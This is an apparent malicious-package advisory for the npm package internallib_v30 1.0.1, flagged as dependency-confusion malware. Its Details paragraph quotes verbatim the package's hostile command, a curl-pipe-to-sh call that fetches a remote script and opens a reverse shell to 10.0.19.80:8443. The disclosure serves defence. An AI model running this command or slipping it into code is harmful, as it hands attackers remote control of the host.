MAL-2026-17633

    Dashboard / Malicious Package / MAL-2026-17633

    MAL-2026-17633

    Published: 6 Oct 2026Last Modified: 6 Oct 2026

    Summary: Malicious code in internallib_v30 (npm)

    Details: Source: amazon-inspector (52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe) [email protected] ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target.

    References: https://www.npmjs.com/package/internallib_v30/v/1.0.1

    Affected packages

    Package

    Name: internallib_v30

    Purl: pkg:npm/internallib_v30

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.1